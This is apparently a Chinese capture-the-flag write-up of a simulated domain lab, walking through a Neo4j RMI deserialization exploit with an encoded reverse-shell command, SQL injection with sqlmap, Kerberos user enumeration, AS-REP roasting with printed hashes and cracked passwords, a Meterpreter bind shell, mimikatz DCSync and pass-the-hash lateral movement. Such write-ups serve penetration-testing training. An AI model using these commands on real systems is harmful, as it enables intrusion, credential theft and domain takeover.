春秋云镜-【仿真场景】Time-writeup

女爷i 2024-03-26 18:56 54阅读 0赞

### 说明 ###

Time是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag，分布于不同的靶机。

### 技术 ###

Neo4j、Kerberos、Privilege Elevation、域渗透

### 第一个flag ###

#### 外网IP信息收集 ####

start infoscan
    (icmp) Target '39.98.236.25' is alive
    icmp alive hosts len is: 1
    39.98.236.25:22 open
    39.98.236.25:1337 open
    39.98.236.25:7474 open
    39.98.236.25:7473 open
    39.98.236.25:7687 open
    39.98.236.25:35555 open
    alive ports len is: 6
    start vulscan
    已完成 0/6 [-] webtitle http://39.98.236.25:7473 Get "http://39.98.236.25:7473": net/http: HTTP/1.x transport connection broken: malformed HTTP response "\x15\x03\x03\x00\x02\x02P"
    [*] WebTitle:http://39.98.236.25:7474  code:200 len:145    title:None
    [*] WebTitle:http://39.98.236.25:7687  code:400 len:0      title:None
    [*] WebTitle:https://39.98.236.25:7687 code:400 len:0      title:None
    已完成 6/6
    scan end

#### neo4j 未授权RCE ####

Neo4j是一个开源图数据库管理系统。

在Neo4j 3.4.18及以前，如果开启了Neo4j Shell接口，攻击者将可以通过RMI协议以未授权的身份调用任意方法，其中setSessionVariable方法存在反序列化漏洞。因为这个漏洞并非RMI反序列化，所以不受到Java版本的影响。在Neo4j 3.5及之后的版本，Neo4j Shell被Cyber Shell替代。

[https://github.com/zwjjustdoit/CVE-2021-34371.jar][https_github.com_zwjjustdoit_CVE-2021-34371.jar]

java -jar rhino_gadget.jar rmi://39.98.236.25:1337 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3R...NC81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}"

![9b95711fd6681cffb1ed7ab737777399.png][]

反弹shell

![ba931247503639217c8cd67326c7b747.png][]

查找flag

![9ad7efee9723f2924e8d70d9743ffe71.png][]

获得第一个flag

![9a681a57e4d811cdf0a6a8f3e38908e2.png][]

### 第二个flag ###

#### 内网渗透 ####

上传代理和fscan

start infoscan
    已完成 0/0 listen ip4:icmp 0.0.0.0: socket: operation not permitted
    trying RunIcmp2
    The current user permissions unable to send icmp packets
    start ping
    (icmp) Target 172.22.6.12     is alive
    (icmp) Target 172.22.6.25     is alive
    (icmp) Target 172.22.6.38     is alive
    (icmp) Target 172.22.6.36     is alive
    [*] Icmp alive hosts len is: 4
    172.22.6.25:445 open
    172.22.6.12:445 open
    172.22.6.25:139 open
    172.22.6.12:139 open
    172.22.6.25:135 open
    172.22.6.12:135 open
    172.22.6.38:80 open
    172.22.6.36:22 open
    172.22.6.38:22 open
    172.22.6.36:7687 open
    172.22.6.12:88 open
    [*] alive ports len is: 11
    start vulscan
    [+] NetInfo:
    [*]172.22.6.25
       [->]WIN2019
       [->]172.22.6.25
    [+] NetInfo:
    [*]172.22.6.12
       [->]DC-PROGAME
       [->]172.22.6.12
    [*] 172.22.6.12    [+]DC XIAORANG\DC-PROGAME        Windows Server 2016 Datacenter 14393
    [*] 172.22.6.25          XIAORANG\WIN2019       
    [*] 172.22.6.12  (Windows Server 2016 Datacenter 14393)
    [*] WebTitle:http://172.22.6.38        code:200 len:1531   title:后台登录
    [*] WebTitle:https://172.22.6.36:7687  code:400 len:50     title:None
    已完成 11/11

#### sql注入 ####

访问 [http://172.22.6.38][http_172.22.6.38]，是一个登录页面，抓取数据包

POST /index.php HTTP/1.1
    Host: 172.22.6.38
    Content-Length: 30
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://172.22.6.38
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://172.22.6.38/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
    Connection: close
    
    username=admin&password=111111

使用sqlmap测试注入(过程略)

sqlmap -r 1.txt --dump -T oa_f1Agggg -D oa_db  -batch

获得第二个flag

![ea217695cf5461fd0876e65702f2ef6e.png][]

里面还有oa\_admin表和oa\_users表，把users表中的500个用户名收集成字典 [username.txt][]

![32f0cf18b8bb435538e3ae8df3383cd6.png][]

### 第三个flag ###

#### 域用户枚举 ####

在kerberos的AS-REQ认证中当cname值中的用户不存在时返回包提示KDC\_ERR\_C\_PRINCIPAL\_UNKNOWN，所以当我们没有域凭证时，可以通过Kerberos pre-auth从域外对域用户进行用户枚举

[https://github.com/ropnop/kerbrute][https_github.com_ropnop_kerbrute]

proxychains ./kerbrute_linux_amd64 userenum --dc 172.22.6.12 -d xiaorang.lab username.txt -t 10

kali中用代理一直执行不成功，不出现结果，把文件传到入口机器上，远程执行才出结果

![0c4294e6bc9886948a26a6d099348d20.png][]

共有74个用户，做成字典 [user.txt][]

![fff8fdca7143cab97b66d080c33ba8f0.png][]

#### AS-REPRoasting ####

对于域用户，如果设置了选项Do not require Kerberos preauthentication(不要求Kerberos预身份认证)，此时向域控制器的88端口发送AS-REQ请求，对收到的AS-REP内容重新组合，能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式，接下来可以使用hashcat或是john对其破解，最终获得该用户的明文口令

查找未设置预认证的账号

proxychains python3 GetNPUsers.py -dc-ip 172.22.6.12 -usersfile user.txt xiaorang.lab/

![63f16f75006e1ec44a5d30d0bfde157e.png][]

得到两个账号 wenshao@xiaorang.lab 、zhangxin@xiaorang.lab

$krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:b6c410706b5e96c693b2fc61ee1064c3$2dc9fbee784e7997333f30c6bc4298ab5752ba94be7022e807af418c11359fd92597e253752f4e61d2d18a83f19b5c9df4761e485853a3d879bcf7a270d6f846683b811a80dda3809528190d7f058a24996aff13094ff9b32c0e2698f6d639b4d237a06d13c309ce7ab428656b79e582609240b01fb5cd47c91573f80f846dc483a113a86977486cecce78c03860050a81ee19921d3500f36ff39fa77edd9d5614cf4b9087d3e42caef68313d1bb0c4f6bc5392943557b584521b305f61e418eb0f6eb3bf339404892da55134cb4bf828ac318fe00d68d1778b7c82caf03b65f1938e54ed3fa51b63cdb2994
    
    $krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:971802b84ce99050ad3c5f49d11fd0b7$6c1be075c3cf2a7695529de2ebbf39c5ec7e5326c9d891dac2107b239892f76befe52c860e4e1e2ff6537a5765a6bcb6b8baca792d60765ac0bbe1b3c5e59f3ec51b7426636a437d5df12130eb68d9b17ef431455415671c7331a17ce823e28cc411677bed341d3fceefc3451b8b232ea6039661625a5c793e30c4d149b2ed9d2926e9d825b3828744ebce69e47746994c9a749ceeb76c560a1840bc74d2b9f301bb5b870c680591516354460dab2238e7827900ed80320dd3a6f46874b1bc8a3a68aea7bd11d0683ec94103f59d9511691090928e98d0d8978f511e71fd9db0067fa0d450c120f3726918d7

使用hashcat解密

hashcat -m 18200 --force -a 0 '$krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:b6c410706b5e96c693b2fc61ee1064c3$2dc9fbee784e7997333f30c6bc4298ab5752ba94be7022e807af418c11359fd92597e253752f4e61d2d18a83f19b5c9df4761e485853a3d879bcf7a270d6f846683b811a80dda3809528190d7f058a24996aff13094ff9b32c0e2698f6d639b4d237a06d13c309ce7ab428656b79e582609240b01fb5cd47c91573f80f846dc483a113a86977486cecce78c03860050a81ee19921d3500f36ff39fa77edd9d5614cf4b9087d3e42caef68313d1bb0c4f6bc5392943557b584521b305f61e418eb0f6eb3bf339404892da55134cb4bf828ac318fe00d68d1778b7c82caf03b65f1938e54ed3fa51b63cdb2994' rockyou.txt

![a60c960298dbc5866636210c623a4c73.png][]

hashcat -m 18200 --force -a 0 '$krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:971802b84ce99050ad3c5f49d11fd0b7$6c1be075c3cf2a7695529de2ebbf39c5ec7e5326c9d891dac2107b239892f76befe52c860e4e1e2ff6537a5765a6bcb6b8baca792d60765ac0bbe1b3c5e59f3ec51b7426636a437d5df12130eb68d9b17ef431455415671c7331a17ce823e28cc411677bed341d3fceefc3451b8b232ea6039661625a5c793e30c4d149b2ed9d2926e9d825b3828744ebce69e47746994c9a749ceeb76c560a1840bc74d2b9f301bb5b870c680591516354460dab2238e7827900ed80320dd3a6f46874b1bc8a3a68aea7bd11d0683ec94103f59d9511691090928e98d0d8978f511e71fd9db0067fa0d450c120f3726918d7' rockyou.txt

![31236e4aa7e2ec6804133518e1c9a336.png][]

这样获得了两个账号和密码

zhangxin@xiaorang.lab/strawberry
    wenshao@xiaorang.lab/hellokitty

#### 域环境分析 ####

使用域账号登录 172.22.6.25，上传SharpHound进行数据采集

![f2a962f279f68aaad16303088053743a.png][]

SharpHound.exe -c all

导出文件里面有多个json，保存着域内的各种关系

![c4c581815f1abb93d2ff622253682934.png][]

上传数据到BloodHound，点击Analysis，查找最短到达域管理员的路径

Find Shortest Paths to Domain Admins

路径由粗到细的那边，就是xx对xx具有的权限或者说关系，所以路径如下

![b9b951b71404ec9063ae77747f4dc6e6.png][]

从BloodHound上可以知道下一步我们需要对yuxuan这个用户动手

#### windows自动登录 ####

HasSession：用户与计算机时进行会话时，凭据会保留在内存中，说明yuxuan这个用户登录过WIN2019

很多用户习惯将计算机设置自动登录，可以使用MSF抓取自动登录的用户名和密码

先生成一个正向的shell

msfvenom -p windows/meterpreter/bind_tcp -f exe -o shy.exe

然后上传到目标机器 win2019 (172.22.6.25)上运行

使用代理运行msf然后连接

use exploit/multi/handler
    set payload windows/meterpreter/bind_tcp
    set rhost 172.22.6.25
    run

![d724ab93488f09b4fc39ca390a0584bd.png][]

抓取自动登录的密码

meterpreter > run windows/gather/credentials/windows_autologin

![abe329efcf1a68f1063bc1907789ab72.png][]

我这里没抓到密码，做不下去了。

没办法只能看着别人的wp继续了。

抓密码得到yuxuan/Yuxuan7QbrgZ3L，ok现在我们就可以拿yuxuan登上WIN2019了

![ea82a2f21be1e1e734fc15aebb9de014.png][]

#### 哈希传递 ####

HasSIDHistory：用户的SID历史记录，用户在域迁移后，票据还包含着前域所在组的SID，虽然用户不属于前域，但仍拥有前域的权限

使用yuxuan这个用户抓Administrator的哈希

mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit

![dfbed71e085adfbb9004472d70417265.png][]

smb横向WIN2019，获得第三个flag

proxychains crackmapexec smb 172.22.6.25 -u administrator -H04d93ffd6f5f6e4490e0de23f240a5e9 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

![2b1a368777599a87f0edd149ea539ada.png][]

原文链接： [https://zhuanlan.zhihu.com/p/582525371][https_zhuanlan.zhihu.com_p_582525371]

[https_github.com_zwjjustdoit_CVE-2021-34371.jar]: https://link.zhihu.com/?target=https%3A//github.com/zwjjustdoit/CVE-2021-34371.jar
[9b95711fd6681cffb1ed7ab737777399.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/d04d7289fc00426c90e9597d2a3a7a26.png
[ba931247503639217c8cd67326c7b747.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/f40debf92fd041b8b7ba14ad8035b144.png
[9ad7efee9723f2924e8d70d9743ffe71.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/d802e35b76a047578f071fdb666018bc.png
[9a681a57e4d811cdf0a6a8f3e38908e2.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/698362a8b7604da6bab1f5e4dace5890.png
[http_172.22.6.38]: https://link.zhihu.com/?target=http%3A//172.22.6.38
[ea217695cf5461fd0876e65702f2ef6e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/7acfaf8705524ef58b4b8b7413bd878d.png
[username.txt]: https://zhuanlan.zhihu.com/assets/username-20221110203059-rvc4o2i.txt
[32f0cf18b8bb435538e3ae8df3383cd6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/c3cbbbf7675f47aa95ab05f31eb74dd2.png
[https_github.com_ropnop_kerbrute]: https://link.zhihu.com/?target=https%3A//github.com/ropnop/kerbrute
[0c4294e6bc9886948a26a6d099348d20.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/9435e0b31b5641588d3815c668a8fef8.png
[user.txt]: https://zhuanlan.zhihu.com/assets/user-20221110205714-3frufsz.txt
[fff8fdca7143cab97b66d080c33ba8f0.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/2dcadc0a67104085aaa5823c5f0c3aba.png
[63f16f75006e1ec44a5d30d0bfde157e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/f49697689501465c8101d3c5ab4aa80a.png
[a60c960298dbc5866636210c623a4c73.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/486d135934604d68ae3a5c1dad47a0ea.png
[31236e4aa7e2ec6804133518e1c9a336.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/68cacffcb06348b4bfabca2a60f82d5a.png
[f2a962f279f68aaad16303088053743a.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/5e831fc2a6ac41fa9418089e4238fef9.png
[c4c581815f1abb93d2ff622253682934.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/07f0454a533741d9adef367d475930ed.png
[b9b951b71404ec9063ae77747f4dc6e6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/10f15de304234a318abeea8293dda893.png
[d724ab93488f09b4fc39ca390a0584bd.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/dd63e6954112479cb2c6372dd37cc715.png
[abe329efcf1a68f1063bc1907789ab72.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/42a60e5f730f412d8b6a730e91900455.png
[ea82a2f21be1e1e734fc15aebb9de014.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/52ff9dfddae147b8841ee6b8a6f78e3d.png
[dfbed71e085adfbb9004472d70417265.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/fd3fe97725ba4b07809ca2b344365bc2.png
[2b1a368777599a87f0edd149ea539ada.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/a1e6521207734794b0c8ac66855ad2ca.png
[https_zhuanlan.zhihu.com_p_582525371]: https://zhuanlan.zhihu.com/p/582525371